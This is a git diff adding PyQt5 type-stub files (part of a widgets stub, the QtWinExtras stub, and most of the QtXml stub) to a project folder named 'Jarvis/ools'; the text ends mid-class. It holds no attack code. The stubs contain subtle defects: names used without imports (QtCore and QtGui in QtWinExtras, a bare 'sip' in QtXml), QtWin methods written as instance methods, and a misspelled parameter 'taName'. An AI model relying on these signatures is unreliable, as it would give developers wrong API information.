QtGui.QPainter, target: QtCore.QRect, margins: QtCore.QMargins, pixmap: QtGui.QPixmap) -> None: ... +@typing.overload +def qDrawPlainRect(p: QtGui.QPainter, x: int, y: int, w: int, h: int, a5: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient], lineWidth: int = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawPlainRect(p: QtGui.QPainter, r: QtCore.QRect, a2: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient], lineWidth: int = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawWinPanel(p: QtGui.QPainter, x: int, y: int, w: int, h: int, pal: QtGui.QPalette, sunken: bool = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawWinPanel(p: QtGui.QPainter, r: QtCore.QRect, pal: QtGui.QPalette, sunken: bool = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawWinButton(p: QtGui.QPainter, x: int, y: int, w: int, h: int, pal: QtGui.QPalette, sunken: bool = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawWinButton(p: QtGui.QPainter, r: QtCore.QRect, pal: QtGui.QPalette, sunken: bool = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawShadePanel(p: QtGui.QPainter, x: int, y: int, w: int, h: int, pal: QtGui.QPalette, sunken: bool = ..., lineWidth: int = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawShadePanel(p: QtGui.QPainter, r: QtCore.QRect, pal: QtGui.QPalette, sunken: bool = ..., lineWidth: int = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawShadeRect(p: QtGui.QPainter, x: int, y: int, w: int, h: int, pal: QtGui.QPalette, sunken: bool = ..., lineWidth: int = ..., midLineWidth: int = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawShadeRect(p: QtGui.QPainter, r: QtCore.QRect, pal: QtGui.QPalette, sunken: bool = ..., lineWidth: int = ..., midLineWidth: int = ..., fill: typing.Optional[typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]] = ...) -> None: ... +@typing.overload +def qDrawShadeLine(p: QtGui.QPainter, x1: int, y1: int, x2: int, y2: int, pal: QtGui.QPalette, sunken: bool = ..., lineWidth: int = ..., midLineWidth: int = ...) -> None: ... +@typing.overload +def qDrawShadeLine(p: QtGui.QPainter, p1: QtCore.QPoint, p2: QtCore.QPoint, pal: QtGui.QPalette, sunken: bool = ..., lineWidth: int = ..., midLineWidth: int = ...) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtWinExtras.pyi b/OTHERS/Jarvis/ools/PyQt5/QtWinExtras.pyi new file mode 100644 index 00000000..c8c32ac8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtWinExtras.pyi @@ -0,0 +1,295 @@ +# The PEP 484 type hints stub file for the QtWinExtras module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QtWin(PyQt5.sip.simplewrapper): + + class WindowFlip3DPolicy(int): + FlipDefault = ... # type: QtWin.WindowFlip3DPolicy + FlipExcludeBelow = ... # type: QtWin.WindowFlip3DPolicy + FlipExcludeAbove = ... # type: QtWin.WindowFlip3DPolicy + + class HBitmapFormat(int): + HBitmapNoAlpha = ... # type: QtWin.HBitmapFormat + HBitmapPremultipliedAlpha = ... # type: QtWin.HBitmapFormat + HBitmapAlpha = ... # type: QtWin.HBitmapFormat + + @typing.overload + def taskbarDeleteTab(self, a0: QtGui.QWindow) -> None: ... + @typing.overload + def taskbarDeleteTab(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def taskbarAddTab(self, a0: QtGui.QWindow) -> None: ... + @typing.overload + def taskbarAddTab(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def taskbarActivateTabAlt(self, a0: QtGui.QWindow) -> None: ... + @typing.overload + def taskbarActivateTabAlt(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def taskbarActivateTab(self, a0: QtGui.QWindow) -> None: ... + @typing.overload + def taskbarActivateTab(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def markFullscreenWindow(self, a0: QtGui.QWindow, fullscreen: bool = ...) -> None: ... + @typing.overload + def markFullscreenWindow(self, window: QtWidgets.QWidget, fullscreen: bool = ...) -> None: ... + def setCurrentProcessExplicitAppUserModelID(self, id: str) -> None: ... + def isCompositionOpaque(self) -> bool: ... + def setCompositionEnabled(self, enabled: bool) -> None: ... + def isCompositionEnabled(self) -> bool: ... + @typing.overload + def disableBlurBehindWindow(self, window: QtGui.QWindow) -> None: ... + @typing.overload + def disableBlurBehindWindow(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def enableBlurBehindWindow(self, window: QtGui.QWindow, region: QtGui.QRegion) -> None: ... + @typing.overload + def enableBlurBehindWindow(self, window: QtGui.QWindow) -> None: ... + @typing.overload + def enableBlurBehindWindow(self, window: QtWidgets.QWidget, region: QtGui.QRegion) -> None: ... + @typing.overload + def enableBlurBehindWindow(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def resetExtendedFrame(self, window: QtGui.QWindow) -> None: ... + @typing.overload + def resetExtendedFrame(self, window: QtWidgets.QWidget) -> None: ... + @typing.overload + def extendFrameIntoClientArea(self, window: QtGui.QWindow, left: int, top: int, right: int, bottom: int) -> None: ... + @typing.overload + def extendFrameIntoClientArea(self, window: QtGui.QWindow, margins: QtCore.QMargins) -> None: ... + @typing.overload + def extendFrameIntoClientArea(self, window: QtWidgets.QWidget, margins: QtCore.QMargins) -> None: ... + @typing.overload + def extendFrameIntoClientArea(self, window: QtWidgets.QWidget, left: int, top: int, right: int, bottom: int) -> None: ... + @typing.overload + def windowFlip3DPolicy(self, a0: QtGui.QWindow) -> 'QtWin.WindowFlip3DPolicy': ... + @typing.overload + def windowFlip3DPolicy(self, window: QtWidgets.QWidget) -> 'QtWin.WindowFlip3DPolicy': ... + @typing.overload + def setWindowFlip3DPolicy(self, window: QtGui.QWindow, policy: 'QtWin.WindowFlip3DPolicy') -> None: ... + @typing.overload + def setWindowFlip3DPolicy(self, window: QtWidgets.QWidget, policy: 'QtWin.WindowFlip3DPolicy') -> None: ... + @typing.overload + def isWindowPeekDisallowed(self, window: QtGui.QWindow) -> bool: ... + @typing.overload + def isWindowPeekDisallowed(self, window: QtWidgets.QWidget) -> bool: ... + @typing.overload + def setWindowDisallowPeek(self, window: QtGui.QWindow, disallow: bool) -> None: ... + @typing.overload + def setWindowDisallowPeek(self, window: QtWidgets.QWidget, disallow: bool) -> None: ... + @typing.overload + def isWindowExcludedFromPeek(self, window: QtGui.QWindow) -> bool: ... + @typing.overload + def isWindowExcludedFromPeek(self, window: QtWidgets.QWidget) -> bool: ... + @typing.overload + def setWindowExcludedFromPeek(self, window: QtGui.QWindow, exclude: bool) -> None: ... + @typing.overload + def setWindowExcludedFromPeek(self, window: QtWidgets.QWidget, exclude: bool) -> None: ... + def realColorizationColor(self) -> QtGui.QColor: ... + def colorizationColor(self) -> typing.Tuple[QtGui.QColor, bool]: ... + def errorStringFromHresult(self, hresult: int) -> str: ... + def stringFromHresult(self, hresult: int) -> str: ... + def fromHRGN(self, hrgn: PyQt5.sip.voidptr) -> QtGui.QRegion: ... + def toHRGN(self, region: QtGui.QRegion) -> PyQt5.sip.voidptr: ... + def fromHICON(self, icon: PyQt5.sip.voidptr) -> QtGui.QPixmap: ... + def imageFromHBITMAP(self, hdc: PyQt5.sip.voidptr, bitmap: PyQt5.sip.voidptr, width: int, height: int) -> QtGui.QImage: ... + def toHICON(self, p: QtGui.QPixmap) -> PyQt5.sip.voidptr: ... + def fromHBITMAP(self, bitmap: PyQt5.sip.voidptr, format: 'QtWin.HBitmapFormat' = ...) -> QtGui.QPixmap: ... + def toHBITMAP(self, p: QtGui.QPixmap, format: 'QtWin.HBitmapFormat' = ...) -> PyQt5.sip.voidptr: ... + def createMask(self, bitmap: QtGui.QBitmap) -> PyQt5.sip.voidptr: ... + + +class QWinJumpList(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def clear(self) -> None: ... + @typing.overload + def addCategory(self, category: 'QWinJumpListCategory') -> None: ... + @typing.overload + def addCategory(self, title: str, items: typing.Iterable['QWinJumpListItem'] = ...) -> 'QWinJumpListCategory': ... + def categories(self) -> typing.List['QWinJumpListCategory']: ... + def tasks(self) -> 'QWinJumpListCategory': ... + def frequent(self) -> 'QWinJumpListCategory': ... + def recent(self) -> 'QWinJumpListCategory': ... + def setIdentifier(self, identifier: str) -> None: ... + def identifier(self) -> str: ... + + +class QWinJumpListCategory(PyQt5.sip.wrapper): + + class Type(int): + Custom = ... # type: QWinJumpListCategory.Type + Recent = ... # type: QWinJumpListCategory.Type + Frequent = ... # type: QWinJumpListCategory.Type + Tasks = ... # type: QWinJumpListCategory.Type + + def __init__(self, title: str = ...) -> None: ... + + def clear(self) -> None: ... + def addSeparator(self) -> 'QWinJumpListItem': ... + @typing.overload + def addLink(self, title: str, executablePath: str, arguments: typing.Iterable[str] = ...) -> 'QWinJumpListItem': ... + @typing.overload + def addLink(self, icon: QtGui.QIcon, title: str, executablePath: str, arguments: typing.Iterable[str] = ...) -> 'QWinJumpListItem': ... + def addDestination(self, filePath: str) -> 'QWinJumpListItem': ... + def addItem(self, item: 'QWinJumpListItem') -> None: ... + def items(self) -> typing.List['QWinJumpListItem']: ... + def isEmpty(self) -> bool: ... + def count(self) -> int: ... + def setTitle(self, title: str) -> None: ... + def title(self) -> str: ... + def setVisible(self, visible: bool) -> None: ... + def isVisible(self) -> bool: ... + def type(self) -> 'QWinJumpListCategory.Type': ... + + +class QWinJumpListItem(PyQt5.sip.wrapper): + + class Type(int): + Destination = ... # type: QWinJumpListItem.Type + Link = ... # type: QWinJumpListItem.Type + Separator = ... # type: QWinJumpListItem.Type + + def __init__(self, type: 'QWinJumpListItem.Type') -> None: ... + + def arguments(self) -> typing.List[str]: ... + def setArguments(self, arguments: typing.Iterable[str]) -> None: ... + def description(self) -> str: ... + def setDescription(self, description: str) -> None: ... + def title(self) -> str: ... + def setTitle(self, title: str) -> None: ... + def icon(self) -> QtGui.QIcon: ... + def setIcon(self, icon: QtGui.QIcon) -> None: ... + def workingDirectory(self) -> str: ... + def setWorkingDirectory(self, workingDirectory: str) -> None: ... + def filePath(self) -> str: ... + def setFilePath(self, filePath: str) -> None: ... + def type(self) -> 'QWinJumpListItem.Type': ... + def setType(self, type: 'QWinJumpListItem.Type') -> None: ... + + +class QWinTaskbarButton(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def clearOverlayIcon(self) -> None: ... + def setOverlayAccessibleDescription(self, description: str) -> None: ... + def setOverlayIcon(self, icon: QtGui.QIcon) -> None: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def progress(self) -> 'QWinTaskbarProgress': ... + def overlayAccessibleDescription(self) -> str: ... + def overlayIcon(self) -> QtGui.QIcon: ... + def window(self) -> QtGui.QWindow: ... + def setWindow(self, window: QtGui.QWindow) -> None: ... + + +class QWinTaskbarProgress(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def visibilityChanged(self, visible: bool) -> None: ... + def maximumChanged(self, maximum: int) -> None: ... + def minimumChanged(self, minimum: int) -> None: ... + def valueChanged(self, value: int) -> None: ... + def stop(self) -> None: ... + def setPaused(self, paused: bool) -> None: ... + def resume(self) -> None: ... + def pause(self) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def hide(self) -> None: ... + def show(self) -> None: ... + def reset(self) -> None: ... + def setRange(self, minimum: int, maximum: int) -> None: ... + def setMaximum(self, maximum: int) -> None: ... + def setMinimum(self, minimum: int) -> None: ... + def setValue(self, value: int) -> None: ... + def isStopped(self) -> bool: ... + def isPaused(self) -> bool: ... + def isVisible(self) -> bool: ... + def maximum(self) -> int: ... + def minimum(self) -> int: ... + def value(self) -> int: ... + + +class QWinThumbnailToolBar(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def iconicLivePreviewPixmapRequested(self) -> None: ... + def iconicThumbnailPixmapRequested(self) -> None: ... + def setIconicLivePreviewPixmap(self, a0: QtGui.QPixmap) -> None: ... + def setIconicThumbnailPixmap(self, a0: QtGui.QPixmap) -> None: ... + def clear(self) -> None: ... + def iconicLivePreviewPixmap(self) -> QtGui.QPixmap: ... + def iconicThumbnailPixmap(self) -> QtGui.QPixmap: ... + def setIconicPixmapNotificationsEnabled(self, enabled: bool) -> None: ... + def iconicPixmapNotificationsEnabled(self) -> bool: ... + def count(self) -> int: ... + def buttons(self) -> typing.List['QWinThumbnailToolButton']: ... + def setButtons(self, buttons: typing.Iterable['QWinThumbnailToolButton']) -> None: ... + def removeButton(self, button: 'QWinThumbnailToolButton') -> None: ... + def addButton(self, button: 'QWinThumbnailToolButton') -> None: ... + def window(self) -> QtGui.QWindow: ... + def setWindow(self, window: QtGui.QWindow) -> None: ... + + +class QWinThumbnailToolButton(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def clicked(self) -> None: ... + def click(self) -> None: ... + def isFlat(self) -> bool: ... + def setFlat(self, flat: bool) -> None: ... + def dismissOnClick(self) -> bool: ... + def setDismissOnClick(self, dismiss: bool) -> None: ... + def isVisible(self) -> bool: ... + def setVisible(self, visible: bool) -> None: ... + def isInteractive(self) -> bool: ... + def setInteractive(self, interactive: bool) -> None: ... + def isEnabled(self) -> bool: ... + def setEnabled(self, enabled: bool) -> None: ... + def icon(self) -> QtGui.QIcon: ... + def setIcon(self, icon: QtGui.QIcon) -> None: ... + def toolTip(self) -> str: ... + def setToolTip(self, toolTip: str) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtXml.pyi b/OTHERS/Jarvis/ools/PyQt5/QtXml.pyi new file mode 100644 index 00000000..08581099 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtXml.pyi @@ -0,0 +1,702 @@ +# The PEP 484 type hints stub file for the QtXml module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QDomImplementation(sip.simplewrapper): + + class InvalidDataPolicy(int): + AcceptInvalidChars = ... # type: QDomImplementation.InvalidDataPolicy + DropInvalidChars = ... # type: QDomImplementation.InvalidDataPolicy + ReturnNullNode = ... # type: QDomImplementation.InvalidDataPolicy + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDomImplementation') -> None: ... + + def isNull(self) -> bool: ... + @staticmethod + def setInvalidDataPolicy(policy: 'QDomImplementation.InvalidDataPolicy') -> None: ... + @staticmethod + def invalidDataPolicy() -> 'QDomImplementation.InvalidDataPolicy': ... + def createDocument(self, nsURI: str, qName: str, doctype: 'QDomDocumentType') -> 'QDomDocument': ... + def createDocumentType(self, qName: str, publicId: str, systemId: str) -> 'QDomDocumentType': ... + def hasFeature(self, feature: str, version: str) -> bool: ... + + +class QDomNode(sip.simplewrapper): + + class EncodingPolicy(int): + EncodingFromDocument = ... # type: QDomNode.EncodingPolicy + EncodingFromTextStream = ... # type: QDomNode.EncodingPolicy + + class NodeType(int): + ElementNode = ... # type: QDomNode.NodeType + AttributeNode = ... # type: QDomNode.NodeType + TextNode = ... # type: QDomNode.NodeType + CDATASectionNode = ... # type: QDomNode.NodeType + EntityReferenceNode = ... # type: QDomNode.NodeType + EntityNode = ... # type: QDomNode.NodeType + ProcessingInstructionNode = ... # type: QDomNode.NodeType + CommentNode = ... # type: QDomNode.NodeType + DocumentNode = ... # type: QDomNode.NodeType + DocumentTypeNode = ... # type: QDomNode.NodeType + DocumentFragmentNode = ... # type: QDomNode.NodeType + NotationNode = ... # type: QDomNode.NodeType + BaseNode = ... # type: QDomNode.NodeType + CharacterDataNode = ... # type: QDomNode.NodeType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDomNode') -> None: ... + + def columnNumber(self) -> int: ... + def lineNumber(self) -> int: ... + def nextSiblingElement(self, taName: str = ...) -> 'QDomElement': ... + def previousSiblingElement(self, tagName: str = ...) -> 'QDomElement': ... + def lastChildElement(self, tagName: str = ...) -> 'QDomElement': ... + def firstChildElement(self, tagName: str = ...) -> 'QDomElement': ... + def save(self, a0: QtCore.QTextStream, a1: int, a2: 'QDomNode.EncodingPolicy' = ...) -> None: ... + def toComment(self) -> 'QDomComment': ... + def toCharacterData(self) -> 'QDomCharacterData': ... + def toProcessingInstruction(self) -> 'QDomProcessingInstruction': ... + def toNotation(self) -> 'QDomNotation': ... + def toEntity(self) -> 'QDomEntity': ... + def toText(self) -> 'QDomText': ... + def toEntityReference(self) -> 'QDomEntityReference': ... + def toElement(self) -> 'QDomElement': ... + def toDocumentType(self) -> 'QDomDocumentType': ... + def toDocument(self) -> 'QDomDocument': ... + def toDocumentFragment(self) -> 'QDomDocumentFragment': ... + def toCDATASection(self) -> 'QDomCDATASection': ... + def toAttr(self) -> 'QDomAttr': ... + def clear(self) -> None: ... + def isNull(self) -> bool: ... + def namedItem(self, name: str) -> 'QDomNode': ... + def isComment(self) -> bool: ... + def isCharacterData(self) -> bool: ... + def isProcessingInstruction(self) -> bool: ... + def isNotation(self) -> bool: ... + def isEntity(self) -> bool: ... + def isText(self) -> bool: ... + def isEntityReference(self) -> bool: ... + def isElement(self) -> bool: ... + def isDocumentType(self) -> bool: ... + def isDocument(self) -> bool: ... + def isDocumentFragment(self) -> bool: ... + def isCDATASection(self) -> bool: ... + def isAttr(self) -> bool: ... + def setPrefix(self, pre: str) -> None: ... + def prefix(self) -> str: ... + def setNodeValue(self, a0: str) -> None: ... + def nodeValue(self) -> str: ... + def hasAttributes(self) -> bool: ... + def localName(self) -> str: ... + def namespaceURI(self) -> str: ... + def ownerDocument(self) -> 'QDomDocument': ... + def attributes(self) -> 'QDomNamedNodeMap': ... + def nextSibling(self) -> 'QDomNode': ... + def previousSibling(self) -> 'QDomNode': ... + def lastChild(self) -> 'QDomNode': ... + def firstChild(self) -> 'QDomNode': ... + def childNodes(self) -> 'QDomNodeList': ... + def parentNode(self) -> 'QDomNode': ... + def nodeType(self) -> 'QDomNode.NodeType': ... + def nodeName(self) -> str: ... + def isSupported(self, feature: str, version: str) -> bool: ... + def normalize(self) -> None: ... + def cloneNode(self, deep: bool = ...) -> 'QDomNode': ... + def hasChildNodes(self) -> bool: ... + def appendChild(self, newChild: 'QDomNode') -> 'QDomNode': ... + def removeChild(self, oldChild: 'QDomNode') -> 'QDomNode': ... + def replaceChild(self, newChild: 'QDomNode', oldChild: 'QDomNode') -> 'QDomNode': ... + def insertAfter(self, newChild: 'QDomNode', refChild: 'QDomNode') -> 'QDomNode': ... + def insertBefore(self, newChild: 'QDomNode', refChild: 'QDomNode') -> 'QDomNode': ... + + +class QDomNodeList(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDomNodeList') -> None: ... + + def isEmpty(self) -> bool: ... + def size(self) -> int: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def length(self) -> int: ... + def at(self, index: int) -> QDomNode: ... + def item(self, index: int) -> QDomNode: ... + + +class QDomDocumentType(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomDocumentType') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + def internalSubset(self) -> str: ... + def systemId(self) -> str: ... + def publicId(self) -> str: ... + def notations(self) -> 'QDomNamedNodeMap': ... + def entities(self) -> 'QDomNamedNodeMap': ... + def name(self) -> str: ... + + +class QDomDocument(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, doctype: QDomDocumentType) -> None: ... + @typing.overload + def __init__(self, x: 'QDomDocument') -> None: ... + + def toByteArray(self, indent: int = ...) -> QtCore.QByteArray: ... + def toString(self, indent: int = ...) -> str: ... + @typing.overload + def setContent(self, text: typing.Union[QtCore.QByteArray, bytes, bytearray], namespaceProcessing: bool) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, text: str, namespaceProcessing: bool) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, dev: QtCore.QIODevice, namespaceProcessing: bool) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, source: 'QXmlInputSource', namespaceProcessing: bool) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, text: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, text: str) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, dev: QtCore.QIODevice) -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, source: 'QXmlInputSource', reader: 'QXmlReader') -> typing.Tuple[bool, str, int, int]: ... + @typing.overload + def setContent(self, reader: QtCore.QXmlStreamReader, namespaceProcessing: bool) -> typing.Tuple[bool, str, int, int]: ... + def nodeType(self) -> QDomNode.NodeType: ... + def documentElement(self) -> 'QDomElement': ... + def implementation(self) -> QDomImplementation: ... + def doctype(self) -> QDomDocumentType: ... + def elementById(self, elementId: str) -> 'QDomElement': ... + def elementsByTagNameNS(self, nsURI: str, localName: str) -> QDomNodeList: ... + def createAttributeNS(self, nsURI: str, qName: str) -> 'QDomAttr': ... + def createElementNS(self, nsURI: str, qName: str) -> 'QDomElement': ... + def importNode(self, importedNode: QDomNode, deep: bool) -> QDomNode: ... + def elementsByTagName(self, tagname: str) -> QDomNodeList: ... + def createEntityReference(self, name: str) -> 'QDomEntityReference': ... + def createAttribute(self, name: str) -> 'QDomAttr': ... + def createProcessingInstruction(self, target: str, data: str) -> 'QDomProcessingInstruction': ... + def createCDATASection(self, data: str) -> 'QDomCDATASection': ... + def createComment(self, data: str) -> 'QDomComment': ... + def createTextNode(self, data: str) -> 'QDomText': ... + def createDocumentFragment(self) -> 'QDomDocumentFragment': ... + def createElement(self, tagName: str) -> 'QDomElement': ... + + +class QDomNamedNodeMap(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDomNamedNodeMap') -> None: ... + + def contains(self, name: str) -> bool: ... + def isEmpty(self) -> bool: ... + def size(self) -> int: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def length(self) -> int: ... + def removeNamedItemNS(self, nsURI: str, localName: str) -> QDomNode: ... + def setNamedItemNS(self, newNode: QDomNode) -> QDomNode: ... + def namedItemNS(self, nsURI: str, localName: str) -> QDomNode: ... + def item(self, index: int) -> QDomNode: ... + def removeNamedItem(self, name: str) -> QDomNode: ... + def setNamedItem(self, newNode: QDomNode) -> QDomNode: ... + def namedItem(self, name: str) -> QDomNode: ... + + +class QDomDocumentFragment(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomDocumentFragment') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + + +class QDomCharacterData(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomCharacterData') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + def setData(self, a0: str) -> None: ... + def data(self) -> str: ... + def length(self) -> int: ... + def replaceData(self, offset: int, count: int, arg: str) -> None: ... + def deleteData(self, offset: int, count: int) -> None: ... + def insertData(self, offset: int, arg: str) -> None: ... + def appendData(self, arg: str) -> None: ... + def substringData(self, offset: int, count: int) -> str: ... + + +class QDomAttr(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomAttr') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + def setValue(self, a0: str) -> None: ... + def value(self) -> str: ... + def ownerElement(self) -> 'QDomElement': ... + def specified(self) -> bool: ... + def name(self) -> str: ... + + +class QDomElement(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomElement') -> None: ... + + def text(self) -> str: ... + def nodeType(self) -> QDomNode.NodeType: ... + def attributes(self) -> QDomNamedNodeMap: ... + def setTagName(self, name: str) -> None: ... + def tagName(self) -> str: ... + def hasAttributeNS(self, nsURI: str, localName: str) -> bool: ... + def elementsByTagNameNS(self, nsURI: str, localName: str) -> QDomNodeList: ... + def setAttributeNodeNS(self, newAttr: QDomAttr) -> QDomAttr: ... + def attributeNodeNS(self, nsURI: str, localName: str) -> QDomAttr: ... + def removeAttributeNS(self, nsURI: str, localName: str) -> None: ... + @typing.overload + def setAttributeNS(self, nsURI: str, qName: str, value: str) -> None: ... + @typing.overload + def setAttributeNS(self, nsURI: str, qName: str, value: int) -> None: ... + @typing.overload + def setAttributeNS(self, nsURI: str, qName: str, value: int) -> None: ... + @typing.overload + def setAttributeNS(self, nsURI: str, qName: str, value: float) -> None: ... + @typing.overload + def setAttributeNS(self, nsURI: str, qName: str, value: int) -> None: ... + def attributeNS(self, nsURI: str, localName: str, defaultValue: str = ...) -> str: ... + def hasAttribute(self, name: str) -> bool: ... + def elementsByTagName(self, tagname: str) -> QDomNodeList: ... + def removeAttributeNode(self, oldAttr: QDomAttr) -> QDomAttr: ... + def setAttributeNode(self, newAttr: QDomAttr) -> QDomAttr: ... + def attributeNode(self, name: str) -> QDomAttr: ... + def removeAttribute(self, name: str) -> None: ... + @typing.overload + def setAttribute(self, name: str, value: str) -> None: ... + @typing.overload + def setAttribute(self, name: str, value: int) -> None: ... + @typing.overload + def setAttribute(self, name: str, value: int) -> None: ... + @typing.overload + def setAttribute(self, name: str, value: float) -> None: ... + @typing.overload + def setAttribute(self, name: str, value: int) -> None: ... + def attribute(self, name: str, defaultValue: str = ...) -> str: ... + + +class QDomText(QDomCharacterData): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomText') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + def splitText(self, offset: int) -> 'QDomText': ... + + +class QDomComment(QDomCharacterData): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomComment') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + + +class QDomCDATASection(QDomText): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomCDATASection') -> None: ... + + def nodeType(self) -> QDomNode.NodeType: ... + + +class QDomNotation(QDomNode): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: 'QDomNotation') -> None: ... + + def nodeType(self) -> 